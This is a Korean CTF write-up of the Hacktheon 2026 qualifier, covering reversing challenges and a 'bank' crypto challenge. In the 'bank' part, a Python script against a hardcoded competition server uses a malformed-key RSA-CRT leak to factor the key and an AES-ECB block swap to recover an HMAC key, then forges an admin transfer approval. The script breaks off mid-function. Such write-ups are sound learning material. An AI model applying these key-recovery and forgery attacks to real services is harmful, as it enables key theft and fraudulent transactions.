2026.4.25 핵테온 2026에 참여했습니다.

4등으로 마무리해서 본선 진출을 했습니다. 팀원들 중에 한 분이 신 들리셔가주고 3시간동안 노솔브였던 리버싱 퍼블을 포함해 문제를 연속해서 풀더니 1등을 찍었습니다. 하지만 또 다시 개고수 팀들에 의해 등수가 내려가 4등으로 예선을 마무리 했습니다.

팀원(discord): btb4772, mangwoong, sangwon090, eclipsee0707_99420

Write-up

---

REV

Recover-it

cmptable = [
    0x55,0x5A,0x0A,0x59,0x5F,0x09,0x55,0x5F,
    0x56,0x14,0x43,0x4A,0x43,0x44,0x11,0x14,
    0x41,0x48,0x4C,0x1E,0x42,0x1A,0x19,0x1C,
    0x1C,0xB9,0xE3,0xE3,0xBA,0xE5,0xE7,0xB1,
    0xB6,0xEC,0xBF,0xE8,0xB2,0xBD,0xBA,0xBB,
    0xEB,0xA6,0xF3,0xA1,0xF1,0xA4,0xA4,0xA0,
    0xF4,0xAC,0xA0,0xF9,0xFF,0xA5,0xA9,0xA8,
    0xAD,0x94,0xC7,0x97,0x97,0x91,0xC6,0x95
]

answer = ''.join(chr(b ^ ((i + 103) & 0xff)) for i, b in enumerate(cmptable))
print(answer)
print(len(answer))

1. 입력값 s를 1바이트씩 XOR 한 결과가 cmptable와 같으면 된다 hacktheon2026{22c34e819d2800db605d9fdbc9ba9ab71d6b9175d6b3b016c49cd94624f545c3}

Brain-outside

client 바이너리를 분석해보니 검증 로직은 바이너리 안에 없고, 서버가 실행 중에 보내주는 payload 안에 있었다. 클라이언트는 서버에서 payload 크기와 코드를 받은 뒤 RWX 메모리에 올려 실행하고, 반환값만 다시 서버로 보내는 runner 구조였다.

그래서 중간 프록시를 만들어 client -> proxy -> server 형태로 연결하고, 서버가 보내는 payload를 전부 저장했다. 작은 payload는 산술 문제나 ASCII-art 숫자 입력 같은 stage였고, 큰 payload는 대부분 flag.png의 특정 구간을 검사하는 checker였다.

큰 payload들은 flag.png를 열고 특정 offset부터 일정 길이의 바이트를 검사했다. 검사 방식은 단순 비교, 이전 바이트와의 차이, XOR chain, 선형 방정식 풀이 등 여러 종류가 있었다. 따라서 payload를 많이 모은 뒤 각 checker의 내부 table과 offset을 뽑아내면 flag.png의 조각들을 역산할 수 있었다.

복원 스크립트를 작성해 dump된 payload들을 분석했고, 처음에는 coverage가 98.89%에서 멈췄다. 빠진 크기가 정확히 checker 한 개가 담당하는 크기였고, PNG header까지 비어 있었기 때문에 첫 번째 chunk가 복원되지 않은 상태였다.

원인은 parser가 일부 instruction encoding을 놓친 것이었다. 특히 lea rsi, [r13+0]의 짧은 encoding을 처리하지 못했고, table을 찾는 범위도 좁았다. 이 부분을 수정하자 off=0 chunk까지 복원되었고, 최종적으로 recovered_flag.png의 coverage가 100%가 되었다.

완성된 이미지를 열어 flag를 확인했다.

#!/usr/bin/env python3
from pathlib import Path
from collections import Counter
import argparse
import struct
import time

FLAG_SIZE = 0x8C48F8
MOD = 65537
PNG_SIG = bytes.fromhex("89504e470d0a1a0a")

def u32(d: bytes, off: int) -> int:
    if off < 0 or off + 4 > len(d):
        raise ValueError(f"u32 out of range: off={off:#x}, len={len(d):#x}")
    return int.from_bytes(d[off:off + 4], "little")

def decode_payload(b: bytes) -> bytes | None:
    # Decoder A:
    #   call/pop + xor imm8 + not + swap adjacent bytes
    if (
        len(b) >= 0x4C
        and b[:5] == b"\xe8\0\0\0\0"
        and b[5] == 0x5E
        and b[6:9] == b"\x48\x8d\xbe"
        and b[13] == 0xB9
        and b[18:20] == b"\x41\xb2"
    ):
        enc_off = 5 + u32(b, 9)
        enc_len = u32(b, 14)
        key = b[20]

        if 0 <= enc_off <= len(b) and enc_off + enc_len <= len(b):
            d = bytearray(b[enc_off:enc_off + enc_len])
            for i in range(enc_len):
                d[i] ^= key
            for i in range(enc_len):
                d[i] = (~d[i]) & 0xFF
            for i in range(0, enc_len - 1, 2):
                d[i], d[i + 1] = d[i + 1], d[i]

            d = bytes(d)
            if b"flag.png" in d[:0x200] or d.startswith(b"ATAU") or b"All stages" in d:
                return d

    # Decoder B:
    #   call/pop + xor with 8-byte key
    for pos in range(0, min(0x100, max(0, len(b) - 30))):
        if (
            b[pos:pos + 5] == b"\xe8\0\0\0\0"
            and b[pos + 5] == 0x5E
            and b[pos + 6:pos + 8] == b"\x48\xb8"
            and b[pos + 17:pos + 20] == b"\x48\x8d\xbe"
            and b[pos + 24] == 0xB9
        ):
            imm = u32(b, pos + 20)
            enc_len = u32(b, pos + 25)
            enc_off = pos + 5 + imm

            if 0 <= enc_off <= len(b) and enc_off + enc_len <= len(b):
                key = b[pos + 8:pos + 16]
                d = bytearray(b[enc_off:enc_off + enc_len])
                for i in range(enc_len):
                    d[i] ^= key[i & 7]

                d = bytes(d)
                if b"flag.png" in d[:0x200] or d.startswith(b"ATAU") or b"All stages" in d:
                    return d

    return None

def extract_flag_offset(dec: bytes) -> int | None:
    # Common pattern: lea rsi, [r13 + imm32]
    idx = dec.find(b"\x49\x8d\xb5")
    if idx != -1 and idx + 7 <= len(dec):
        return u32(dec, idx + 3)

    # The off=0 payloads often use the shorter disp8 encoding:
    #   49 8d 75 00    lea rsi, [r13 + 0]
    idx = dec.find(b"\x49\x8d\x75")
    if idx != -1 and idx + 4 <= len(dec):
        disp = struct.unpack_from("b", dec, idx + 3)[0]
        if disp >= 0:
            return disp

    return None

def parse_payload(dec: bytes) -> dict | None:
    off = extract_flag_offset(dec)
    if off is None:
        if b"All stages passed" in dec:
            return {"type": "success"}
        return None

    # Direct compare style.
    if b"\x8a\x06\x3a\x07" in dec[0x70:0x90] and b"\x48\xff\xc6\x48\xff\xc7" in dec[0x80:0x95]:
        ecx_idx = dec.find(b"\xb9", 0x70, 0x80)
        ti = dec.find(b"\x48\x8d\xbf", 0x60, 0x80)
        if ecx_idx == -1 or ti == -1:
            return None
        length = u32(dec, ecx_idx + 1)
        table = (ti - 1) + u32(dec, ti + 3)
        return {"type": "direct", "off": off, "len": length, "table": table}

    # Difference-chain or xor-chain style.
    if dec.find(b"\x3a\x07", 0x70, 0x90) != -1 and (
        b"\x0f\xb6\x06" in dec[0x70:0x90] or b"\x8a\x06" in dec[0x70:0x90]
    ):
        ti = dec.find(b"\x48\x8d\xbf", 0x60, 0x85)
        if ti != -1:
            table = (ti - 1) + u32(dec, ti + 3)
            ecx_idx = dec.find(b"\xb9", 0x7A, 0x86)
            if ecx_idx == -1:
                ecx_idx = dec.find(b"\xb9", 0x70, 0x86)
            if ecx_idx == -1:
                return None

            length = u32(dec, ecx_idx + 1)
            if b"\x44\x29\xc0" in dec[0x85:0xA5]:
                return {"type": "diff_sub", "off": off, "len": length, "table": table}
            if b"\x32\x04\x16" in dec[0x85:0xA0] or b"\x32\x44\x16" in dec[0x85:0xA0]:
                return {"type": "xor_chain", "off": off, "len": length, "table": table}

    # Two-table xor style.
    if b"\x41\x32\x04\x17" in dec[0x80:0xA0]:
        ecx_idx = dec.find(b"\xb9", 0x78, 0x86)
        ti = dec.find(b"\x4c\x8d\xbf", 0x70, 0x80)
        if ecx_idx == -1 or ti == -1:
            return None
        length = u32(dec, ecx_idx + 1)
        table1 = (ti - 1) + u32(dec, ti + 3)
        return {"type": "xor2", "off": off, "len": length, "table1": table1, "table2": table1 + length}

    # 8x8 linear system mod 65537 style.
    if (
        b"\x41\xb9" in dec[:0x80]
        and b"\x69\xc0\xe5\x03\x00\x00" in dec[:0xC0]
        and b"\x45\x31\xe4" in dec[:0x90]
    ):
        seed_idx = dec.find(b"\x41\xb9")
        ri = dec.find(b"\x41\x81\xfc", 0x80, 0x90)
        li = dec.find(b"\x3d", 0xE8, 0xFC)
        ti = dec.find(b"\x4d\x8d\x9b", 0x78, 0x85)
        if seed_idx == -1 or ri == -1 or li == -1 or ti == -1:
            return None

        seed = u32(dec, seed_idx + 2)
        rows = u32(dec, ri + 3)
        length = u32(dec, li + 1)
        table = (ti - 2) + u32(dec, ti + 3)
        return {"type": "linear", "off": off, "len": length, "rows": rows, "seed": seed, "table": table}

    return {"type": "unknown", "off": off}

def coef(seed: int, row: int, out_col: int, in_col: int) -> int:
    eax = (row * 0x3E5 + out_col * 0x1F + in_col + seed) & 0xFFFFFFFF
    eax = (eax ^ (eax >> 16)) & 0xFFFFFFFF
    eax = (eax * 0x45D9F3B) & 0xFFFFFFFF
    eax = (eax ^ (eax >> 16)) & 0xFFFFFFFF
    return ((eax & 0xFF) % 0xFA) + 1

def mod_solve8(A: list[list[int]], b: list[int]) -> list[int]:
    m = [[A[i][j] % MOD for j in range(8)] + [b[i] % MOD] for i in range(8)]

    for col in range(8):
        pivot = col
        while pivot < 8 and m[pivot][col] % MOD == 0:
            pivot += 1
        if pivot == 8:
            raise RuntimeError("singular matrix")

        if pivot != col:
            m[col], m[pivot] = m[pivot], m[col]

        inv = pow(m[col][col], MOD - 2, MOD)
        for j in range(col, 9):
            m[col][j] = (m[col][j] * inv) % MOD

        for r in range(8):
            if r == col:
                continue
            factor = m[r][col]
            if factor:
                for j in range(col, 9):
                    m[r][j] = (m[r][j] - factor * m[col][j]) % MOD

    return [m[i][8] for i in range(8)]

def recover_bytes(dec: bytes, meta: dict) -> tuple[int, bytes] | None:
    t = meta["type"]

    if t == "direct":
        return meta["off"], dec[meta["table"]:meta["table"] + meta["len"]]

    if t == "diff_sub":
        tab = dec[meta["table"]:meta["table"] + meta["len"]]
        out = bytearray(len(tab))
        if tab:
            out[0] = tab[0]
            for i in range(1, len(tab)):
                out[i] = (out[i - 1] + tab[i]) & 0xFF
        return meta["off"], bytes(out)

    if t == "xor_chain":
        tab = dec[meta["table"]:meta["table"] + meta["len"]]
        out = bytearray(len(tab))
        if tab:
            out[0] = tab[0]
            for i in range(1, len(tab)):
                out[i] = out[i - 1] ^ tab[i]
        return meta["off"], bytes(out)

    if t == "xor2":
        length = meta["len"]
        a = dec[meta["table1"]:meta["table1"] + length]
        b = dec[meta["table2"]:meta["table2"] + length]
        return meta["off"], bytes(x ^ y for x, y in zip(a, b))

    if t == "linear":
        length = meta["len"]
        rows = meta["rows"]
        seed = meta["seed"]
        table = meta["table"]
        out = bytearray(rows * 8)

        for row in range(rows):
            rhs = [struct.unpack_from("<I", dec, table + 4 * (row * 8 + i))[0] for i in range(8)]
            A = [[coef(seed, row, out_col, in_col) for in_col in range(8)] for out_col in range(8)]
            sol = mod_solve8(A, rhs)

            base = row * 8
            for i, x in enumerate(sol):
                if not 0 <= x <= 255:
                    raise RuntimeError(f"non-byte solution row={row} x={x}")
                out[base + i] = x

        return meta["off"], bytes(out[:length])

    return None

def iter_dump_files(dump_dir: Path) -> list[Path]:
    files = []
    for p in dump_dir.glob("*.bin"):
        name = p.name
        if name in {"coverage.bin"}:
            continue
        if name.startswith("remote_leftover"):
            continue
        # Supports both old payload_000.bin and new run_<timestamp>_payload_000.bin names.
        if name.startswith("payload_") or "_payload_" in name:
            files.append(p)
    return sorted(files)

def print_gaps(covered: bytearray, limit: int = 20) -> None:
    gaps = []
    i = 0
    n = len(covered)

    while i < n:
        if covered[i]:
            i += 1
            continue
        start = i
        while i < n and not covered[i]:
            i += 1
        gaps.append((start, i))

    print(f"[+] gaps: {len(gaps)}")
    for start, end in gaps[:limit]:
        print(f"    gap {start:#08x} - {end:#08x} size={end - start:#x}")
    if len(gaps) > limit:
        print(f"    ... {len(gaps) - limit} more")

def main() -> None:
    ap = argparse.ArgumentParser()
    ap.add_argument("dump_dir", nargs="?", default="dumps")
    ap.add_argument("-o", "--output", default="recovered_flag.png")
    ap.add_argument("--coverage", default="coverage.bin")
    ap.add_argument("--gaps", action="store_true", help="print uncovered ranges")
    args = ap.parse_args()

    dump_dir = Path(args.dump_dir)
    files = iter_dump_files(dump_dir)

    recon = bytearray(FLAG_SIZE)
    covered = bytearray(FLAG_SIZE)
    stats = Counter()
    chunks = []
    seen_offsets = set()
    conflicts = 0
    started = time.time()

    print(f"[+] scanning {len(files)} payload files from {dump_dir}")

    for p in files:
        raw = p.read_bytes()
        dec = decode_payload(raw)
        if dec is None:
            continue

        meta = parse_payload(dec)
        if not meta:
            stats["unparsed"] += 1
            continue

        stats[meta["type"]] += 1

        if meta["type"] in ("success", "unknown"):
            continue

        try:
            rec = recover_bytes(dec, meta)
        except Exception as e:
            stats["recover_error"] += 1
            print(f"[!] recover error {p.name}: {e}")
            continue

        if not rec:
            continue

        off, data = rec
        if off >= FLAG_SIZE:
            stats["out_of_range"] += 1
            continue

        end = min(FLAG_SIZE, off + len(data))
        data = data[:end - off]

        old = recon[off:end]
        cov = covered[off:end]
        local_conflicts = 0
        for i, c in enumerate(cov):
            if c and old[i] != data[i]:
                local_conflicts += 1
        conflicts += local_conflicts

        recon[off:end] = data
        covered[off:end] = b"\x01" * (end - off)
        chunks.append((p.name, meta["type"], off, len(data)))

        dup = "=" if off in seen_offsets else "+"
        seen_offsets.add(off)
        conflict_note = f" conflicts={local_conflicts}" if local_conflicts else ""
        print(f"[{dup}] {p.name:32} {meta['type']:10} off={off:#08x} len={len(data):#x}{conflict_note}")

    Path(args.output).write_bytes(recon)
    Path(args.coverage).write_bytes(covered)

    total = sum(covered)
    head = bytes(recon[:16])

    print()
    print("[+] stats:", dict(stats))
    print(f"[+] chunks recovered: {len(chunks)}")
    print(f"[+] unique offsets: {len(seen_offsets)}")
    print(f"[+] conflicts: {conflicts}")
    print(f"[+] coverage: {total:#x}/{FLAG_SIZE:#x} = {total / FLAG_SIZE:.2%}")
    print(f"[+] header: {head.hex()}")

    if head.startswith(PNG_SIG):
        print("[+] PNG header recovered")
    else:
        print("[-] PNG header not recovered yet")

    print(f"[+] wrote: {args.output}")
    print(f"[+] wrote: {args.coverage}")
    print(f"[+] elapsed: {time.time() - started:.1f}s")

    if args.gaps:
        print_gaps(covered)

if __name__ == "__main__":
    main()

Until Executing

ocaml로 작성된 코드를 컴파일 한 것으로 보이고, 입력을 받은 뒤 여러 연산을 수행해 검증을 거치는 로직을 갖는다. 검증은 Proc_a, Proc_b 두 개로 나뉘어 진행된다. 플래그의 길이는 64글자이며, 입력 가능한 문자의 집합은 다음과 같다는 것을 알 수 있다: abcdefghijklmnopqrstuvwxyz_0123456789!

글자를 하나씩 추가하면서 Proc_a의 검증과 Proc_b의 검증이 모두 통과하는지 확인한다. 이 과정을 플래그가 완성될 때까지 반복한다.

flag: hacktheon2026{ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93}

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import subprocess
from pathlib import Path

ALPHABET = "abcdefghijklmnopqrstuvwxyz_0123456789!"

TABLE_A = [
    0x99, 0xAD, 0x117, 0x19D, 0x12D, 0x79, 0x45, 0x179,
    0x57, 0x1BD, 0x1AB, 0x83, 0x1D1, 0x153, 0x179, 0x137,
    0xFF, 0x1, 0x65, 0xA1, 0x5F, 0x1FB, 0x1FB, 0x1F1,
    0xA9, 0x189, 0x18B, 0xCF, 0x1A3, 0x1D9, 0x95, 0x9B,
    0xC3, 0xB1, 0x1D1, 0x21, 0xA5, 0x175, 0x177, 0x11F,
    0x7, 0x1BB, 0x1F5, 0xED, 0x151, 0x1C1, 0x93, 0x125,
    0x6B, 0x105, 0x139, 0x1FF, 0x179, 0x81, 0x149, 0x1F9,
    0xA9, 0xF1, 0x19D, 0x1C7, 0xD7, 0x189, 0x195, 0x13B,
]

TABLE_B = [
    0xC7, 0x43, 0x61, 0x11B, 0x13D, 0x18B, 0x161, 0x63,
    0x3, 0x1B5, 0x21, 0x1E9, 0xA3, 0xB1, 0x147, 0x1AD,
    0x1AB, 0xBF, 0x83, 0x61, 0x1FB, 0x17F, 0x195, 0x18D,
    0x121, 0xD3, 0x9, 0x10F, 0x1E3, 0xF7, 0x18F, 0x139,
    0x19F, 0x179, 0x43, 0x5, 0x67, 0x75, 0x3D, 0x5B,
    0x11B, 0x51, 0x13, 0x1EB, 0x1DD, 0x121, 0xF1, 0x127,
    0x179, 0xCD, 0x1B9, 0x6B, 0x1FB, 0x195, 0x9F, 0x10D,
    0x16F, 0x101, 0x33, 0x63, 0x57, 0x13B, 0xDD, 0x37,
]

def tag(x: int) -> int:
    return ((x & 0xFF) << 1) | 1

def untag(x: int) -> int:
    return (x & 0x1FF) >> 1

def rol_tag(x: int, amt_tag: int) -> int:
    x &= 0x1FF
    amt = amt_tag & 0xF
    if amt == 1:
        return x
    return (
        ((x >> ((0x12 - amt) >> 1)) | 1)
        | ((((x - 1) << (amt >> 1)) + 1) & 0x1FF)
    ) & 0x1FF

def ror_tag(x: int, amt_tag: int) -> int:
    x &= 0x1FF
    amt = amt_tag & 0xF
    if amt == 1:
        return x
    return (
        ((((x - 1) << ((0x12 - amt) >> 1)) + 1) & 0x1FF)
        | ((x >> (amt >> 1)) | 1)
    ) & 0x1FF

def gf_mul_tag(a: int, b: int) -> int:
    a &= 0x1FF
    b &= 0x1FF
    result = 1
    ctr = 1
    while True:
        if (b & 3) != 1:
            result = (a ^ result) | 1
        hi = a & 0x101
        a = (2 * a - 1) & 0x1FF
        if hi != 1:
            a = (a ^ 0x3B) | 1
        b = (b >> 1) | 1
        old_ctr = ctr
        ctr += 2
        if old_ctr == 15:
            break
    return result & 0x1FF

def sbox_tag(x: int) -> int:
    x &= 0x1FF
    v2 = (197 * x + 50) & 0x1FF
    return (
        ((17 * x - 16) & 0x1FF)
        ^ (((v2 >> 5) & 0x1FE) | 1 | ((8 * (v2 - 1) + 1) & 0x1FF))
        ^ 0x14B
    ) & 0x1FE | 1

def idx_tag(ch: str) -> int:
    return tag(ALPHABET.index(ch))

def hash1_tag(prefix: str) -> int:
    acc = 0x85
    ctr = 1
    for ch in prefix:
        idx = idx_tag(ch) 
        sb = sbox_tag(idx + ctr - 1)
        mul = gf_mul_tag((acc ^ sb) | 1, (((11 * idx + 0x18) & 0x1FF) | 3))
        mix = rol_tag((29 * idx + 7 * ctr - 35) & 0x1FF, ctr)
        acc = ((mix ^ mul) | 1) & 0x1FF
        ctr += 2
    return acc

def hash1i_tag(values: list[int]) -> int:
    acc = 0x85
    ctr = 1
    for value in values:
        x = tag(value)
        sb = sbox_tag(x + ctr - 1)
        mul = gf_mul_tag((acc ^ sb) | 1, (((11 * x + 0x18) & 0x1FF) | 3))
        mix = rol_tag((29 * x + 7 * ctr - 35) & 0x1FF, ctr)
        acc = ((mix ^ mul) | 1) & 0x1FF
        ctr += 2
    return acc

def b_window_metric_tag(state_rev: list[int], ch: str) -> int:
    window = state_rev[:4]
    full_len = len(state_rev)
    return (
        (
            hash1i_tag(window)
            ^ ror_tag(idx_tag(ch), tag(full_len))
            ^ ((23 * tag(full_len) - 22) & 0x1FF)
        )
        | 1
    ) & 0x1FF

def make_b_check_tag(pos: int, prefix: str, s0: int, s1: int, ch: str) -> int:
    pos_tag = tag(pos)
    idx = idx_tag(ch)
    base = (11 * pos_tag - 4) & 0x1FF
    lhs = ror_tag(((tag(s1) ^ base) | 1) & 0x1FF, idx + pos_tag - 1)
    sb = sbox_tag(((hash1_tag(prefix) ^ tag(s0) ^ base) | 1) & 0x1FF)
    rhs = rol_tag((9 * idx + pos_tag - 9) & 0x1FF, idx)
    return (((lhs ^ sb ^ rhs) | 1) & 0x1FF)

def state_advance_tag(pos: int, prefix: str, s0: int, s1: int, ch: str) -> int:
    pos_tag = tag(pos)
    idx = idx_tag(ch)
    h = hash1_tag(prefix)
    part1 = gf_mul_tag(
        (tag(s1) + ((13 * pos_tag - 10) & 0x1FF) - 1) & 0x1FF,
        ((((h ^ idx) | 1) & 0x1FF) | 3),
    )
    part2 = ror_tag(sbox_tag(((idx ^ tag(s0)) | 1) & 0x1FF), idx)
    return ((part1 ^ part2) | 1) & 0x1FF

def recover_input() -> str:
    prefix = ""
    state_rev: list[int] = []

    for pos in range(64):
        s0 = state_rev[0] if len(state_rev) > 0 else 0
        s1 = state_rev[1] if len(state_rev) > 1 else 0
        candidates: list[tuple[str, int]] = []

        for ch in ALPHABET:
            if b_window_metric_tag(state_rev, ch) != TABLE_A[pos]:
                continue
            if make_b_check_tag(pos, prefix, s0, s1, ch) != TABLE_B[pos]:
                continue
            next_state = untag(state_advance_tag(pos, prefix, s0, s1, ch))
            candidates.append((ch, next_state))

        if len(candidates) != 1:
            raise RuntimeError(f"position {pos}: expected 1 candidate, got {candidates}")

        ch, next_state = candidates[0]
        prefix += ch
        state_rev.insert(0, next_state)

    return prefix

def verify_with_binary(recovered: str, binary: Path) -> str:
    binary = binary.resolve()
    proc = subprocess.run(
        [str(binary)],
        input=recovered + "\n",
        text=True,
        capture_output=True,
        check=False,
    )
    return proc.stdout.strip()

def main() -> None:
    parser = argparse.ArgumentParser()
    args = parser.parse_args()

    recovered = recover_input()
    flag = f"hacktheon2026{{{recovered}}}"

    print(recovered)
    print(flag)

if __name__ == "__main__":
    main()

bank

flag
hacktheon2026{164958f484da0dcab1c6ca649535538a47c3051f017b952690643cec62e73002f94a84760e911c751118592321419c50b6376b1efda6}

핵심은 MEGA RSA-CRT key recovery와 유사한 공격이다.

/api/signing/export는 n, e, wrapped_sk, chal_ct를 제공한다.

wrapped_sk는 AES-ECB로 암호화된 RSA private key encoding이며, /api/signing/verify는 선택한 RSA ciphertext를 복호화한 결과의 상위 45바이트를 diag_hi_hex || proof_hex 형태로 누출한다.

이 누출을 이용해 먼저 RSA prime factor q를 복구하고, 이후 MEGA의 AES-ECB plaintext recovery 방식으로 approval key P를 복구했다.

References - 이것만 찾으면 풀림

• Miro Haller, Cloud Storage Systems: From Bad Practice to Practical Attacks, Section 4.1, 4.2.
  • RSA-CRT key recovery 공격과 AES-ECB 기반 plaintext recovery 공격 구조를 참고했다.
  • https://www.research-collection.ethz.ch/server/api/core/bitstreams/83ae6cee-a640-4534-a54d-6537fe1cd885/content
• MEGA RSA-CRT key recovery attack
  • u = q^{-1} mod p가 손상된 상태에서 RSA-CRT recombination 결과가 달라지는 성질을 이용해 prime factor를 복구하는 공격이다.
  • 본 문제에서는 /api/signing/verify의 MSB leak oracle을 이용해 q를 이분탐색했다.
• MEGA AES-ECB plaintext recovery attack
  • AES-ECB로 암호화된 RSA private key blob에서 block 단위 치환이 가능하다는 점을 이용한다.
  • 본 문제에서는 u 영역에 target ciphertext block을 주입한 뒤 RSA leak을 통해 마지막 block의 평문 P를 복구했다.

Client Analysis

바이너리 문자열에서 다음 API와 approval message format을 확인했다.

/api/signing/export
/api/signing/verify
/api/approve
approval:v1:{txid}:{src}:{dst}:{amount}:{memo}
qppdduuP

admin transfer 흐름은 다음과 같다.

1. /api/signing/export로 signing material 획득
2. /api/signing/verify로 pending transfer 생성
3. /api/approve에 tag_hex를 보내 승인

클라이언트는 approve 전에 다음 메시지를 만든다.

approval:v1:{txid}:admin:{dst}:{amount}:{memo}

IDA 분석 결과 클라이언트는 사실상 빈 키로 HMAC을 계산한다.

bad_tag = hmac.new(b"", approval_message, hashlib.sha256).digest()[:16].hex()

하지만 서버는 다른 key를 기대하므로 실제 approval key를 복구해야 한다.

Key Blob Layout

wrapped_sk_hex는 336바이트이며, 16바이트 AES block 기준 21개 블록이다.

바이너리의 qppdduuP 라벨과 블록 구조를 보면 MEGA의 RSA private key encoding과 일치한다.

l(q) || q || l(p) || p || l(d) || d || l(u) || u || P

1024-bit RSA이므로 크기는 다음과 같다.

l(q)=2, q=64, l(p)=2, p=64, l(d)=2, d=128, l(u)=2, u=64, P=8

합계는 336바이트다.

RSA Leak Oracle

/api/signing/verify는 임의의 chal_ct_hex를 받으며, 응답의 diag_hi_hex || proof_hex는 45바이트다.

실험 결과 다음과 같이 raw RSA decrypt 결과의 상위 45바이트가 누출된다.

leak(c) = (c^d mod n).to_bytes(128, "big")[:45]

Factoring n

wrapped_sk에서 u = q^{-1} mod p가 들어 있는 AES block을 변조한다.

w = bytearray(wrapped_sk)
w[18 * 16] ^= 1

이 상태에서 guess g에 대해 c = g^e mod n을 넣으면 다음 성질이 생긴다.

• g < q이면 복호화 결과가 작아 상위 45바이트가 0
• g >= q이면 잘못된 u 때문에 상위 바이트가 nonzero

따라서 leak(g^e) == 0 여부로 q를 이분탐색할 수 있다.

lo = 1 << 511
hi = math.isqrt(n) + 2

while hi - lo > 1:
    mid = (lo + hi) // 2
    if is_zero(mid):
        lo = mid
    else:
        hi = mid

q = hi
p = n // q

복구한 인수:

q = db936b0e8d5b905fc52e416d945a01360e6491b62f7fde7d20739480f7969ef5b9fff6667c389c14f7e18550eb73f28dbf5c6580a3d830c90a510bfe263a76f9
p = f5dd6e17ff4fa8a6e2175fd47590b414f169030d799e4f3f4c664ef17018f5c90a5ae9b724bb5bce56a4eebb5640b64771cd17eee0b917e4033880a9b8f3430d

Recovering P

p, q를 얻었으므로 RSA private key를 복구할 수 있다.

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
u = pow(q, -1, p)

목표는 마지막 AES block의 평문 중 마지막 8바이트 P다.

u는 다음처럼 block 16~20에 걸쳐 있다.

block 16 = d_tail || l(u) || u[0:8]
block 17 = u[8:24]
block 18 = u[24:40]
block 19 = u[40:56]
block 20 = u[56:64] || P

MEGA의 AES-ECB plaintext recovery 방식으로 target block을 u 영역에 주입하고, RSA leak을 q로 나누어 plaintext prefix를 복구한다.

검증 결과 block 20의 평문은 다음과 같았다.

block20_plain = 7b30cfe3ea49e6ed a4ed60e8948fd9df

앞 8바이트는 u의 tail이고, 뒤 8바이트가 approval key P다.

P = a4ed60e8948fd9df

Approval

admin transfer를 생성한 뒤 approval message를 만든다.

msg = f"approval:v1:{txid}:admin:{username}:{amount}:{memo}".encode()

서버가 기대하는 tag는 다음과 같다.

tag_hex = hmac.new(P, msg, hashlib.sha256).digest()[:16].hex()

실제 사용한 값:

P        = a4ed60e8948fd9df
amount   = 1
memo     = Pwn
tag_hex  = 97bc6b9c1fc73ae9bd85e29c0d4ed035

/api/approve 응답으로 flag를 획득했다.

{
  "ok": true,
  "flag": "hacktheon2026{164958f484da0dcab1c6ca649535538a47c3051f017b952690643cec62e73002f94a84760e911c751118592321419c50b6376b1efda6}"
}

#!/usr/bin/env python3
import argparse
import hashlib
import hmac
import math
import secrets
import sys
import time

import requests

DEFAULT_HOST = "http://3.38.184.207"
KNOWN_P_HEX = "a4ed60e8948fd9df"

def die(msg):
    print(f"[-] {msg}", file=sys.stderr)
    raise SystemExit(1)

def post_json(sess, host, path, payload, timeout=15):
    url = host.rstrip("/") + path
    try:
        res = sess.post(url, json=payload, timeout=timeout)
    except requests.RequestException as exc:
        die(f"POST {path} failed: {exc}")

    try:
        body = res.json()
    except ValueError:
        body = {"raw": res.text}

    if res.status_code >= 400:
        die(f"POST {path} returned HTTP {res.status_code}: {body}")
    return body

def make_account(sess, host, username=None, password=None):
    username = username or ("x" + secrets.token_hex(4))
    password = password or ("p" + secrets.token_hex(8))

    post_json(sess, host, "/api/register", {
        "username": username,
        "password": password,
    })
    login = post_json(sess, host, "/api/login", {
        "username": username,
        "password": password,
    })

    token = login.get("token")
    if not token:
        die(f"login response has no token: {login}")

    return username, password, token

def export_admin(sess, host, token):
    exp = post_json(sess, host, "/api/signing/export", {
        "token": token,
        "target": "admin",
    })

    for key in ("n_hex", "e", "wrapped_sk_hex", "chal_ct_hex"):
        if key not in exp:
            die(f"export response missing {key}: {exp}")
    return exp

def verify(sess, host, token, wrapped_sk_hex, chal_ct_hex, dst, amount, memo):
    res = post_json(sess, host, "/api/signing/verify", {
        "token": token,
        "target": "admin",
        "wrapped_sk_hex": wrapped_sk_hex,
        "chal_ct_hex": chal_ct_hex,
        "dst": dst,
        "amount": amount,
        "memo": memo,
    })

    for key in ("diag_hi_hex", "proof_hex", "txid"):
        if key not in res:
            die(f"verify response missing {key}: {res}")
    return res

def leak_bytes(sess, host, token, wrapped_sk_hex, chal_ct_hex):
    res = verify(sess, host, token, wrapped_sk_hex, chal_ct_hex, "", 0, "")
    leak = bytes.fromhex(res["diag_hi_hex"] + res["proof_hex"])
    if len(leak) != 45:
        die(f"unexpected leak length {len(leak)}: {res}")
    return leak

def recover_q(sess, host, token, n, e, wrapped):
    faulty = bytearray(wrapped)
    faulty[18 * 16] ^= 1
    faulty_hex = faulty.hex()

    def is_below_q(g):
        c = pow(g, e, n)
        leak = leak_bytes(sess, host, token, faulty_hex, f"{c:0256x}")
        return leak == b"\x00" * 45

    lo = 1 << 511
    hi = math.isqrt(n) + 2

    if not is_below_q(lo):
        die("lower factoring bound did not produce zero leak")
    if is_below_q(hi):
        die("upper factoring bound still produced zero leak")

    total_bits = (hi - lo).bit_length()
    last_print = time.time()

    while hi - lo > 1:
        mid = (lo + hi) // 2
        if is_below_q(mid):
            lo = mid
        else:
            hi = mid

        now = time.time()
        if now - last_print >= 2:
            done = total_bits - (hi - lo).bit_length()
            print(f"[*] factoring oracle progress: {done}/{total_bits}")
            last_print = now

    q = hi
    if n % q != 0:
        die("candidate q does not divide n")
    return q, n // q

def recover_plain_block(sess, host, token, n, e, q, wrapped, target_block):
    p = n // q
    u = pow(q, -1, p)
    u_bytes = u.to_bytes(64, "big")

    m = u * q
    c = pow(m, e, n)

    crafted = bytearray(wrapped)
    crafted[17 * 16:18 * 16] = wrapped[target_block * 16:(target_block + 1) * 16]
    leak = int.from_bytes(
        leak_bytes(sess, host, token, crafted.hex(), f"{c:0256x}"),
        "big",
    )

    approx = (leak << (8 * (128 - 45))) // q
    prefix = (approx >> (8 * 40)).to_bytes(24, "big")
    if prefix[:8] != u_bytes[:8]:
        die(f"plaintext recovery sanity check failed for block {target_block}")
    return prefix[8:]

def recover_p_key(sess, host, token, exp):
    n = int(exp["n_hex"], 16)
    e = int(exp["e"])
    wrapped = bytearray.fromhex(exp["wrapped_sk_hex"])

    print("[*] recovering q with malformed u-block oracle")
